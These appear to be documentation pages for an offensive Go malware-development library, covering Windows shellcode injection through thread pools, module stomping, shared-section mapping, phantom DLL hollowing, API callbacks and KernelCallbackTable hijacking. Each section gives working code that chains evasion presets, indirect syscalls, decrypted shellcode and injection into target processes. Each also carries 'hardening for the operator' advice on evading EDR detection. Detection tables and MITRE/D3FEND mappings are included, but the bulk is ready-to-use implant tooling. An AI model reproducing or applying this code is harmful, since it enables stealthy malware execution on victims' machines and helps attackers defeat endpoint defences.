TP_WORK callback pointer outside any imageEDR memory scanners walk active pool work items (CrowdStrike Falcon Sensor, MDE Live Response)
RW → RX flip in current processNtProtectVirtualMemory telemetry — every modern EDR keys on the protection transition
Pool worker stack containing addresses outside any moduleStack-walking telemetry on the thread-pool dispatcher

D3FEND counters:

  • D3-PCSV — verifies the callback against image segments.
  • D3-EAL — WDAC blocks RX flips outside images.

Hardening for the operator: pair with ModuleStomp so the callback pointer is image-backed; spread allocations across multiple smaller pages to reduce signature surface; sleep-mask the shellcode region between activations (evasion/sleepmask).

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionthread-pool variant — no thread creationD3-PCSV

Limitations

  • Local only. Targets the current process's pool. There is no cross-process variant — the TP_WORK object lives in the calling process.
  • Synchronous via TpWaitForWork. The helper blocks until the callback returns. Long-running shellcode should detach internally (spawn a fiber or thread).
  • CET dispatcher is not currently enforced on the thread-pool path (unlike RtlRegisterWait, which is). Plain ThreadPoolExec works as-is. The future-proof ThreadPoolExecCET wrapper auto-prepends ENDBR64 via cet.Wrap when cet.Enforced() returns true, so an implant built against this helper survives the day Microsoft flips the dispatcher to ENDBR64-required. Cost on non-enforced hosts: 4 bytes of shellcode prefix.
  • Region not freed. The RX page persists until process exit unless the implant calls cleanup/memory.WipeAndFree.
  • Undocumented APIs. TpAllocWork / TpPostWork / TpReleaseWork are not in the SDK; future Windows builds may rename or relocate them.

See also

Module stomping

← injection index · docs/index

TL;DR

Load a legitimate System32 DLL with DONT_RESOLVE_DLL_REFERENCES, locate its .text section, briefly flip it to RW, overwrite the bytes with shellcode, flip back to RX. The resulting RX page is image-backed — memory scanners that trust file-backed regions see a legitimate msftedit.dll mapping. Local-only; pair with a callback or thread-pool trigger to actually run the bytes.

Primer

Memory scanners commonly trust regions that the OS reports as file-backed by a known image. The shortcut they take is reasonable — loading c:\windows\system32\msftedit.dll is by definition fine, so scanning every byte of every loaded DLL would be wasteful. Module stomping abuses that trust: the implant loads a benign DLL it does not actually need, walks its PE headers in memory, finds the .text (code) section, and replaces the section's bytes with the shellcode. The OS still reports the region as msftedit.dll's code segment; the bytes have changed underneath.

The technique is placement only. ModuleStomp returns the address of the new RX region; pair it with a separate execution primitive (ExecuteCallback, ThreadPoolExec, fiber, or a manually-fired callback) to dispatch.

How it works

flowchart LR
    A[LoadLibraryEx<br>DONT_RESOLVE_DLL_REFERENCES] --> B[parse PE headers<br>find .text]
    B --> C[VirtualProtect<br>.text → RW]
    C --> D[memcpy shellcode<br>over .text]
    D --> E[VirtualProtect<br>.text → RX]
    E --> F[return RX address]

Steps:

  1. Load the cover DLL with LOAD_LIBRARY_AS_IMAGE_RESOURCE | DONT_RESOLVE_DLL_REFERENCES. This maps the file as a SEC_IMAGE section — the OS treats it like a real load — but skips DllMain so no real init runs.
  2. Parse the loaded module's PE headers in memory to locate the .text section's virtual address and size.
  3. Flip the .text section to PAGE_READWRITE.
  4. Overwrite the existing bytes with the shellcode (zero-pad the tail).
  5. Flip back to PAGE_EXECUTE_READ.
  6. Return the address.

API Reference

inject.ModuleStomp(dllName string, shellcode []byte) (uintptr, error)

godoc

Map dllName (a System32 leaf, e.g. "msftedit.dll") and overwrite its .text section with shellcode.

Parameters:

  • dllName — leaf or full path. The package resolves to C:\Windows\System32\<dllName> if no path is given.
  • shellcode — bytes to place; must be smaller than the target's .text section.

Returns:

  • uintptr — RX address inside the stomped .text. Hand to ExecuteCallback, a fiber, or any other trigger.
  • error — wraps LoadLibraryEx / VirtualProtect failures, or reports if the shellcode is too big for the target section.

Side effects: maps the cover DLL into the current process and leaves it loaded. The DLL's DllMain does not run. There is no unmap helper — the region persists until process exit.

OPSEC: the strongest signal is the VirtualProtect flip on a loaded image's .text; mid-tier EDRs catch it. Memory scanners by themselves are defeated.

[!CAUTION] Pick a DLL the implant does not load anywhere else (no other code path calls into it). If the cover DLL is already loaded with dependencies resolved, LoadLibraryEx returns the existing handle and the stomp clobbers a working module — every subsequent call into it crashes.

Examples

Simple

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackEnumWindows)

Composed (stomp + thread pool)

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
// Use a callback method that routes through the thread pool.
return inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)

Advanced (evade + stomp + callback)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)

addr, err := inject.ModuleStomp("dbghelp.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)

Complex (decrypt → stomp → trigger → wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/inject"
)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
memory.SecureZero(shellcode) // bytes already copied into the cover DLL

return inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory)

OPSEC & Detection

ArtefactWhere defenders look
VirtualProtect flip on a loaded image's .textMid-tier EDR — sysmon does not log this directly, but EDR userland hooks do
In-memory .text mismatch with the on-disk DLLAdvanced memory scanners diff loaded .text against \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy*\windows\system32\<dll> — strong, slow detector
Loaded module that the process never importsEDR module-load telemetry (Sysmon Event 7) — msftedit.dll loaded by a CLI tool that does not edit RTF is anomalous
Callback target inside a System32 DLL the process never importsBehavioural rule combining the load + the eventual callback

D3FEND counters:

  • D3-PCSV — text-segment integrity checking is the canonical defeat.
  • D3-EAL — WDAC's Code Integrity engine validates loaded sections.
  • D3-SICA — diffs loaded image sections against on-disk.

Hardening for the operator: rotate the cover DLL between runs; pick a DLL whose .text is large enough to hold the shellcode comfortably (extra zero-padding is fine; truncation is not); avoid DLLs whose absence breaks the stage's own imports.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionimage-backed variant — no separate allocationD3-PCSV
T1027Obfuscated Files or Informationplacement under a benign image disguises the payload's presenceD3-SICA

Limitations

  • Local only. No cross-process variant. Stomping a module in another process would need WriteProcessMemory — exactly the syscall the technique exists to avoid.
  • Size capped by .text. Big shellcode needs a big cover DLL. msftedit.dll (~200 KB), dbghelp.dll, and windowscodecs.dll are common picks.
  • Module must not be otherwise needed. If the rest of the implant imports from the cover DLL, the stomp breaks the imports. Pick a DLL the binary does not legitimately use.
  • Mapped DLL leaks until process exit. Add manual FreeLibrary with care — the OS reference-counts and other implants in the same process may have the DLL pinned.
  • Image diffing defeats it. Defenders that compare loaded .text with the on-disk DLL find the stomp. The technique trades simple signature evasion for a more sophisticated detection class.

See also

Section mapping injection

← injection index · docs/index

TL;DR

Cross-process injection without WriteProcessMemory. Create a shared section, map a writable view in the implant's process, copy the shellcode locally, then map a read-execute view of the same section in the target. Both views point at the same physical pages, so the local memcpy is instantly visible across the boundary. Trigger via NtCreateThreadEx (or whichever executor the caller chooses).

Primer

WriteProcessMemory is one of the loudest cross-process syscalls. EDRs hook it, ETW-Ti reports it, and a single use is enough to flag the chain. Section mapping sidesteps it entirely by exploiting Windows' shared-memory primitive: NtCreateSection returns a section object backed by the page file (or the file system); NtMapViewOfSection projects views of that section into arbitrary processes. Two views of the same section point at the same physical pages — modifying one updates the other.

The implant maps the section RW into itself, writes shellcode through the local view, then maps the same section RX into the target. No cross-process write was issued. The remaining cross-process call is the final trigger (NtCreateThreadEx, or anything else the caller wants).

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Kern: NtCreateSection(SEC_COMMIT, RWX)
    Kern-->>Impl: hSection

    Impl->>Kern: NtMapViewOfSection(self, RW)
    Kern-->>Impl: localBase

    Impl->>Impl: memcpy(localBase, shellcode)

    Impl->>Kern: NtMapViewOfSection(target, RX)
    Kern->>Tgt: same physical pages, RX
    Kern-->>Impl: remoteBase

    Impl->>Kern: NtUnmapViewOfSection(self, localBase)

    Impl->>Kern: NtCreateThreadEx(target, remoteBase)
    Kern->>Tgt: thread @ shellcode

Steps:

  1. NtCreateSection with SEC_COMMIT | PAGE_EXECUTE_READWRITE, sized to the shellcode.
  2. NtMapViewOfSection into the local process with PAGE_READWRITE.
  3. memcpy the shellcode through the local view.
  4. NtMapViewOfSection into the target with PAGE_EXECUTE_READ. Both views share physical pages; the data is already there.
  5. NtUnmapViewOfSection locally — no longer needed.
  6. NtCreateThreadEx at remoteBase (or any other trigger).

API Reference

inject.SectionMapInject(pid int, shellcode []byte, caller *wsyscall.Caller) error

godoc

Cross-process inject shellcode into pid via shared section mapping and a remote thread.

Parameters:

  • pid — target process ID. Must allow PROCESS_DUP_HANDLE, PROCESS_VM_OPERATION, PROCESS_CREATE_THREAD.
  • shellcode — bytes to execute in the target.
  • caller — optional *wsyscall.Caller. When non-nil, all Nt* calls route through it (direct/indirect syscalls); when nil, falls back to windows.Nt* userland-hooked stubs.

Returns: error — wraps NtCreateSection / NtMapViewOfSection / NtCreateThreadEx failures, or invalid-PID errors.

Side effects: allocates a page-file-backed section sized to the shellcode in the kernel; maps two views, unmaps the local one. The section handle is closed when the function returns; the remote mapping persists until the target process exits.

OPSEC: no WriteProcessMemory. The remaining tells are the section creation, the cross-process map, and the final NtCreateThreadEx.

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.SectionMapInject(targetPID, shellcode, nil); err != nil {
    return err
}

Composed (indirect syscalls)

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
return inject.SectionMapInject(targetPID, shellcode, caller)

Advanced (full evasion stack)

import (
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

return inject.SectionMapInject(targetPID, shellcode, caller)

Complex (encrypt + decrypt + section map + wipe)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect,
    wsyscall.Chain(wsyscall.NewHellsGate(), wsyscall.NewHalosGate()))
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

if err := inject.SectionMapInject(targetPID, shellcode, caller); err != nil {
    return err
}
memory.SecureZero(shellcode)

OPSEC & Detection

ArtefactWhere defenders look
NtCreateSection followed by two NtMapViewOfSection to different processesEDR-Ti correlates the chain — strong signal in modern products
Cross-process NtMapViewOfSection at allSysmon does not log; EDR userland hooks + ETW Threat Intelligence (Microsoft-Windows-Threat-Intelligence) emit MapViewOfSection events
NtCreateThreadEx start address inside a non-image RX mappingPsSetCreateThreadNotifyRoutine callback flags non-image-backed start addresses
Page-file-backed section with PAGE_EXECUTE_READWRITE initial protectionEDR allocation telemetry — RWX sections without an image backing are unusual

D3FEND counters:

  • D3-PSA — flags the section + remote-thread chain.
  • D3-PCSV — verifies the start address against image segments.
  • D3-MA — anomaly on cross-process executable mappings.

Hardening for the operator: trigger via a callback path on the remote side (e.g. hijack a thread's APC queue with NtQueueApcThreadEx) to avoid NtCreateThreadEx; pair with evasion/unhook to defeat userland hooks on NtMapViewOfSection.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionshared-section variant — no WriteProcessMemoryD3-PSA

Limitations

  • NtCreateThreadEx still fires at the end of the chain. The technique avoids WriteProcessMemory, not thread-creation telemetry.
  • No PPL targets. Cross-process section mapping into a Protected Process Light is denied.
  • Initial section protection is RWX. EDRs that key on PAGE_EXECUTE_READWRITE allocations flag the creation regardless of the eventual RX-only target view.
  • Section persists in target. No automatic cleanup on the remote side. The mapped pages stay until the target exits.
  • Caller nil falls back to userland-hooked stubs. Prefer an indirect-syscall Caller for any non-trivial EDR posture.

See also

Phantom DLL hollowing

← injection index · docs/index

TL;DR

Cross-process module stomping: open a real System32 DLL, build a SEC_IMAGE section from it, map the section into the target so the kernel records the mapping as a legitimate signed image, then overwrite the .text of the remote view with shellcode. Memory scanners see a file-backed amsi.dll mapping; the bytes are the implant's. Optionally routes the open through evasion/stealthopen to dodge path-based file hooks.

Primer

Module stomping (local) gives an RX region that the OS reports as a legitimate signed image — but only inside the implant's own process. Phantom DLL hollowing extends the same idea across a process boundary by combining NtCreateSection(SEC_IMAGE) with NtMapViewOfSection into the target.

The kernel insists that SEC_IMAGE sections be backed by an Authenticode- signed file; the implant uses a real System32 DLL (amsi.dll, msftedit.dll, …) so the signature check passes. The same pages are then overwritten in the target's view: read the on-disk DLL to locate the .text RVA, flip the remote section to RW with VirtualProtectEx, write the shellcode, flip back to RX. The remote process now has an amsi.dll mapping whose code segment is the implant.

EDR memory scanners that key on "is this image-backed and signed?" report green. Defenders that compare in-memory bytes against the on-disk copy see the divergence.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Open as "stealthopen.Opener (optional)"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Open: open amsi.dll
    Open-->>Impl: hFile
    Impl->>Kern: NtCreateSection(SEC_IMAGE, hFile)
    Kern->>Kern: Authenticode validation
    Kern-->>Impl: hSection (image-backed)

    Impl->>Kern: NtMapViewOfSection(target, RX)
    Kern->>Tgt: legitimate amsi.dll image mapped
    Kern-->>Impl: remoteBase

    Impl->>Impl: parse local copy of amsi.dll PE → text RVA, size
    Impl->>Kern: NtProtectVirtualMemory(target, .text → RW)
    Impl->>Kern: NtWriteVirtualMemory(target, .text ← shellcode)
    Impl->>Kern: NtProtectVirtualMemory(target, .text → RX)

Steps:

  1. Open the cover DLL (default amsi.dll). When an Opener is supplied, the open routes through file-ID handles rather than a path-based CreateFile, defeating EDR file-IO hooks that key on path strings.
  2. NtCreateSection(SEC_IMAGE) — kernel validates and builds a signed image section.
  3. NtMapViewOfSection into the target with PAGE_EXECUTE_READWRITE.
  4. Parse the cover DLL's PE headers in the implant to locate the .text RVA and size.
  5. Flip + write + flip back the target's .text via VirtualProtectEx + WriteProcessMemory + VirtualProtectEx.
  6. (Caller's responsibility) trigger the shellcode in the target — KernelCallbackExec, SectionMapInject-paired thread, callback APC.

API Reference

inject.PhantomDLLInject(pid int, dllName string, shellcode []byte, opener stealthopen.Opener) error

godoc

Inject shellcode into pid's address space, masquerading as the loaded image of dllName.

Parameters:

  • pid — target. Needs PROCESS_VM_OPERATION, PROCESS_VM_WRITE, PROCESS_QUERY_INFORMATION.
  • dllName — System32 leaf (e.g. "amsi.dll"). The package resolves to the absolute path under %SystemRoot%\System32\ if no path is given.
  • shellcode — bytes to write over .text. Must be ≤ the cover DLL's .text size.
  • opener — optional stealthopen.Opener. Routes both the PE-parse read and the NtCreateSection handle through file-ID-based opens, bypassing path-based file-IO hooks. Pass nil for the path-based default.

Returns: error — wraps file-open / NtCreateSection / NtMapViewOfSection / WriteProcessMemory / VirtualProtectEx failures. Reports if the shellcode exceeds the cover DLL's .text.

Side effects: maps a SEC_IMAGE section into the target. The mapping persists until the target exits.

OPSEC: does not trigger — caller must run the shellcode (e.g. KernelCallbackExec, an APC, a thread).

Examples

Simple

import "github.com/oioio-space/maldev/inject"

if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, nil); err != nil {
    return err
}
// caller now triggers the shellcode separately.

Composed (stealthopen for the file open)

Defeat path-based EDR file hooks on amsi.dll:

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/inject"
)

sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()

return inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener)

Advanced (phantom + KCT trigger)

End-to-end placement + execution:

import (
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

if err := inject.PhantomDLLInject(targetPID, "msftedit.dll", shellcode, nil); err != nil {
    return err
}

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
return inject.KernelCallbackExec(targetPID, shellcode, caller)

Complex (decrypt + stealthopen + phantom + trigger + wipe)

import (
    "os"
    "path/filepath"

    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/crypto"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/evasion/stealthopen"
    "github.com/oioio-space/maldev/inject"
    wsyscall "github.com/oioio-space/maldev/win/syscall"
)

caller := wsyscall.New(wsyscall.MethodIndirect, nil)
_ = evasion.ApplyAll(preset.Stealth(), caller)

shellcode, err := crypto.DecryptAESGCM(aesKey, encrypted)
if err != nil { return err }
memory.SecureZero(aesKey)

sys32 := filepath.Join(os.Getenv("SYSTEMROOT"), "System32")
opener, _ := stealthopen.New(filepath.Join(sys32, "amsi.dll"))
defer opener.Close()

if err := inject.PhantomDLLInject(targetPID, "amsi.dll", shellcode, opener); err != nil {
    return err
}
memory.SecureZero(shellcode)

return inject.KernelCallbackExec(targetPID, shellcode, caller)

OPSEC & Detection

ArtefactWhere defenders look
SEC_IMAGE section in a target backed by a DLL the target does not importSysmon Event 7 (ImageLoad) — anomaly when the host process does not depend on the cover DLL
In-memory .text mismatch with the on-disk DLLImage-integrity scanners — strong, slow detector
Cross-process WriteProcessMemory to an image's .textEDR userland hooks + ETW-Ti WriteVirtualMemory
VirtualProtectEx flip on a loaded imageEDR allocation-protect telemetry

D3FEND counters:

  • D3-PCSV — image-integrity verification.
  • D3-SICA — image-change analysis on loaded modules.

Hardening for the operator: route the file open through stealthopen; pick a cover DLL that the target is unlikely to actually import (so the load looks load-but-unused rather than overlapping legitimate use); pair with ntdll unhooking.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectionimage-backed cross-process variantD3-PCSV
T1574.002Hijack Execution Flow: DLL Side-Loadingadjacent — phantom DLL imitates side-loading without actual hijackD3-SICA

Limitations

  • WriteProcessMemory still fires. The technique avoids the allocation anomaly (image-backed instead of heap), not the cross-process write itself.
  • Non-trigger. PhantomDLLInject only places the shellcode. The caller picks the trigger (KernelCallbackExec, APC, thread).
  • Cover DLL must not be already loaded with dependencies in target. If amsi.dll is already mapped because AMSI is in use, the new SEC_IMAGE mapping conflicts. Pick a DLL the target does not load (verify via Process Explorer first).
  • Image-diff defeats it. Defenders that compare loaded .text against the on-disk DLL win.

See also

Callback-based execution

← injection index · docs/index

TL;DR

Run shellcode by handing its address to a Windows API that already takes a function pointer as part of its normal contract — EnumWindows, CreateTimerQueueTimer, CertEnumSystemStore, ReadDirectoryChangesW, RtlRegisterWait, NtNotifyChangeDirectoryFile. The OS calls the shellcode through its own dispatcher, so no Create*Thread* event fires. Local technique only — pair with a separate primitive that places the shellcode in executable memory.

Primer

Many Windows APIs accept callbacks as routine parameters: EnumWindows calls a function for every top-level window, CreateTimerQueueTimer fires one after a delay, CertEnumSystemStore invokes one per certificate store, RtlRegisterWait triggers one when a kernel object signals, and so on. If the implant aims any of those callbacks at its shellcode, Windows itself executes the shellcode as part of a documented API call.

The advantage is the absence of any thread-creation or APC-queue syscall. EDRs that monitor NtCreateThreadEx, NtQueueApcThread, or SetThreadContext see nothing. The shellcode runs on a thread that already exists (the calling thread for EnumWindows/CertEnum, the timer-queue thread for CreateTimerQueueTimer, a thread-pool worker for RtlRegisterWait).

The technique is local-only: every callback executes in the calling process. Pair with ModuleStomp or a manual VirtualAlloc(RW) + memcpy + VirtualProtect(RX) to place the shellcode in executable memory first; ExecuteCallback does not allocate.

How it works

flowchart TD
    SC[shellcode in RX page] --> Pick{CallbackMethod}
    Pick -->|EnumWindows| EW[user32!EnumWindows]
    Pick -->|CreateTimerQueue| TQ[kernel32!CreateTimerQueueTimer]
    Pick -->|CertEnumSystemStore| CE[crypt32!CertEnumSystemStore]
    Pick -->|ReadDirectoryChanges| RD[kernel32!ReadDirectoryChangesW]
    Pick -->|RtlRegisterWait| RW[ntdll!RtlRegisterWait]
    Pick -->|NtNotifyChangeDirectory| NC[ntdll!NtNotifyChangeDirectoryFile]
    EW --> CALL[Windows calls shellcode<br>as a normal API callback]
    TQ --> CALL
    CE --> CALL
    RD --> CALL
    RW --> CALL
    NC --> CALL

The package selects the correct call shape and parameters for each method. EnumWindows and CertEnumSystemStore invoke the shellcode synchronously; CreateTimerQueueTimer fires it on the timer thread with WT_EXECUTEINTIMERTHREAD; RtlRegisterWait and NtNotifyChangeDirectoryFile deliver it via a thread-pool worker or APC dispatcher.

[!IMPORTANT] CET enforcement — on Windows 11 with ProcessUserShadowStackPolicy enabled, two of the six methods (CallbackRtlRegisterWait, CallbackNtNotifyChangeDirectory) require the shellcode to start with the ENDBR64 instruction (F3 0F 1E FA) or the kernel terminates the process with STATUS_STACK_BUFFER_OVERRUN.

The package now ships a CET-aware helper that handles this automatically:

// Auto-prepends ENDBR64 when MethodEnforcesCET(method) AND cet.Enforced().
err := inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)

ExecuteCallbackBytes(sc, method) checks MethodEnforcesCET(method) and cet.Enforced() and, when both hold, calls cet.Wrap(sc) before allocating + invoking ExecuteCallback. On non-CET hosts it's equivalent to a plain alloc + ExecuteCallback chain.

Operators who want manual control still call evasion/cet.Wrap(sc) themselves and feed the result to ExecuteCallback(addr, method), or evasion/cet.Disable() once at start-up to opt the whole process out.

API Reference

inject.CallbackMethod

godoc

Enum identifying which API the dispatcher routes through. Values:

ConstantAPIThread contextCET-affected
CallbackEnumWindowsuser32!EnumWindowscalling threadno
CallbackCreateTimerQueuekernel32!CreateTimerQueueTimertimer threadno
CallbackCertEnumSystemStorecrypt32!CertEnumSystemStorecalling threadno
CallbackReadDirectoryChangeskernel32!ReadDirectoryChangesWcalling thread (sync)no
CallbackRtlRegisterWaitntdll!RtlRegisterWaitthread-pool workeryes
CallbackNtNotifyChangeDirectoryntdll!NtNotifyChangeDirectoryFileAPC dispatcheryes

inject.ExecuteCallback(addr uintptr, method CallbackMethod) error

godoc

Invoke the shellcode at addr through the chosen callback API.

Parameters:

  • addr — pointer to executable memory holding the shellcode. The caller must have placed it there beforehand (RX-protected).
  • method — one of the CallbackMethod constants.

Returns: error — propagates the underlying API error, plus a sentinel for unknown methods.

Side effects: depends on the chosen method — CreateTimerQueueTimer allocates a timer queue, ReadDirectoryChangesW opens C:\Windows\Temp, CertEnumSystemStore enumerates certificate stores. None of the callback APIs persist state after the call returns.

OPSEC: very low signal on thread-creation telemetry; medium on behavioural telemetry — the same six APIs in known-bad-behaviour rules exist in MDE / Defender catalogues.

Examples

import "github.com/oioio-space/maldev/inject"

// Auto-wraps with ENDBR64 when MethodEnforcesCET(method) AND
// cet.Enforced(). Allocates RW, copies, flips RX, calls
// ExecuteCallback. One line, no manual fiddling.
_ = inject.ExecuteCallbackBytes(shellcode, inject.CallbackRtlRegisterWait)

Simple — manual (operator-controlled allocation)

The shellcode must already be in executable memory. Use this path when the operator wants explicit control over allocation (e.g., to feed inject.ModuleStomp an image-backed region):

import (
    "unsafe"

    "github.com/oioio-space/maldev/inject"
    "golang.org/x/sys/windows"
)

addr, _ := windows.VirtualAlloc(0, uintptr(len(shellcode)),
    windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
copy(unsafe.Slice((*byte)(unsafe.Pointer(addr)), len(shellcode)), shellcode)
var old uint32
_ = windows.VirtualProtect(addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, &old)

_ = inject.ExecuteCallback(addr, inject.CallbackEnumWindows)

Composed (with inject.ModuleStomp)

Hide the executable region inside a legitimate System32 DLL's .text section, then trigger:

import "github.com/oioio-space/maldev/inject"

addr, err := inject.ModuleStomp("msftedit.dll", shellcode)
if err != nil { return err }
return inject.ExecuteCallback(addr, inject.CallbackCreateTimerQueue)

Advanced (with CET wrapping for thread-pool callbacks)

Some callback paths require the ENDBR64 prefix on Windows 11:

import (
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/inject"
)

prepared := cet.Wrap(shellcode)
addr, _ := inject.ModuleStomp("msftedit.dll", prepared)
_ = inject.ExecuteCallback(addr, inject.CallbackRtlRegisterWait)

Complex (full chain — evade + stomp + callback + cleanup)

import (
    "github.com/oioio-space/maldev/cleanup/memory"
    "github.com/oioio-space/maldev/evasion"
    "github.com/oioio-space/maldev/evasion/cet"
    "github.com/oioio-space/maldev/evasion/preset"
    "github.com/oioio-space/maldev/inject"
)

_ = evasion.ApplyAll(preset.Stealth(), nil)
prepared := cet.Wrap(shellcode)

addr, err := inject.ModuleStomp("msftedit.dll", prepared)
if err != nil { return err }

if err := inject.ExecuteCallback(addr, inject.CallbackNtNotifyChangeDirectory); err != nil {
    return err
}

memory.SecureZero(prepared)

OPSEC & Detection

ArtefactWhere defenders look
EnumWindows callback pointing into a non-image regionEDR memory scanners (CrowdStrike, MDE Live Response) — orphan callbacks lit up
Sudden RtlRegisterWait from a non-system process with a callback in heapUserland hooks + ETW Microsoft-Windows-Threadpool
CertEnumSystemStore from a non-crypto-aware processBehavioural rule (rare; Defender flags the chain when paired with downloaded payloads)
File-watch on C:\Windows\Temp from a process that does not file-watchSysmon Event 12/13 (no direct event) but EDR file-IO baselines
RW page promoted to RX in non-image regionAllocation-protect telemetry — flag the VirtualProtect to RX

D3FEND counters:

  • D3-PCSV — verifies callback pointers against image segments.
  • D3-EAL — WDAC denies execution from non-image-backed pages.

Hardening for the operator: combine with ModuleStomp so the callback pointer falls inside a legitimate DLL's .text section; rotate CallbackMethod between runs to defeat behaviour-rule fingerprinting; never run the same EnumWindows trigger twice in a row.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: DLL Injectioncallback variant — no thread creationD3-PCSV
T1055.015Process Injection: ListPlantingCreateTimerQueueTimer familyD3-PCSV

Limitations

  • Local only. All six methods execute in the calling process. Cross-process work needs a different primitive (SectionMapInject, KernelCallbackTable).
  • ExecuteCallback does not allocate. The address must already point at RX memory. Use ExecuteCallbackBytes for the alloc-flip-call path, or pair with ModuleStomp / VirtualAlloc + VirtualProtect for image-backed memory.
  • CET on two methods, auto-handled. CallbackRtlRegisterWait and CallbackNtNotifyChangeDirectory require the ENDBR64 prefix on Win11+ with shadow stacks enforced. inject.MethodEnforcesCET(method) reports which methods need the prefix; inject.ExecuteCallbackBytes(sc, method) checks that predicate against cet.Enforced() and cet.Wraps the shellcode automatically. Operators who pre-allocate themselves must cet.Wrap (or cet.Disable once at start-up) before passing the address to ExecuteCallback.
  • Synchronous methods block. EnumWindows and CertEnumSystemStore return only after the shellcode finishes. The shellcode must return cleanly (return 0) — long-running payloads should hand off to a fiber or thread internally.
  • Thread-pool worker context. CallbackRtlRegisterWait runs on a thread the implant did not create; locked OS resources held there are unfamiliar territory.

See also

KernelCallbackTable hijacking

← injection index · docs/index

TL;DR

Every Windows process holds a KernelCallbackTable pointer in its PEB — a table of user-mode dispatch routines that the kernel calls back into for window-message handling. Overwrite the __fnCOPYDATA (index 3) slot in the target's table with the shellcode address, send the target window a WM_COPYDATA message, restore the original slot. Cross-process, no CreateThread, no APC.

Primer

Windows' window-message dispatcher is split between the kernel and user mode. Certain messages (paint, copy-data, draw-icon, …) require the kernel to call back into the target process's user-mode code. To make that work, every process has a KernelCallbackTable pointer in its PEB; the kernel looks up the right callback by index and invokes it. The table is read-write user-mode memory; nothing prevents another process with PROCESS_VM_WRITE access from mutating an entry.

The implant takes the target's PEB address (via NtQueryInformationProcess), reads the KernelCallbackTable pointer, overwrites the __fnCOPYDATA slot (index 3) with the shellcode address, finds a window owned by the target with EnumWindows, sends it a WM_COPYDATA message, and waits for the kernel to dispatch. The kernel calls the slot — now pointing at the shellcode — as the target's main UI thread. The implant restores the original pointer afterwards.

Saif/Hexacorn published the family in 2020; ProjectXeno used a related variant in the wild. EDR coverage varies — the cross-process PEB write and the WM_COPYDATA send are the only loud syscalls.

How it works

sequenceDiagram
    participant Impl as "Implant"
    participant Kern as "Kernel"
    participant Tgt as "Target"

    Impl->>Kern: NtQueryInformationProcess(target, ProcessBasicInformation)
    Kern-->>Impl: PEB address

    Impl->>Kern: NtAllocateVirtualMemory(target, RW)
    Impl->>Kern: NtWriteVirtualMemory(shellcode)
    Impl->>Kern: NtProtectVirtualMemory(target, RX)

    Impl->>Kern: NtReadVirtualMemory(target.PEB.KernelCallbackTable)
    Kern-->>Impl: kctAddress

    Impl->>Kern: NtReadVirtualMemory(kctAddress[3]) [save original]
    Kern-->>Impl: orig

    Impl->>Kern: NtWriteVirtualMemory(kctAddress[3] = shellcode)

    Impl->>Tgt: SendMessage(hwnd, WM_COPYDATA, ...)
    Note over Tgt: kernel dispatches via __fnCOPYDATA<br>→ shellcode runs

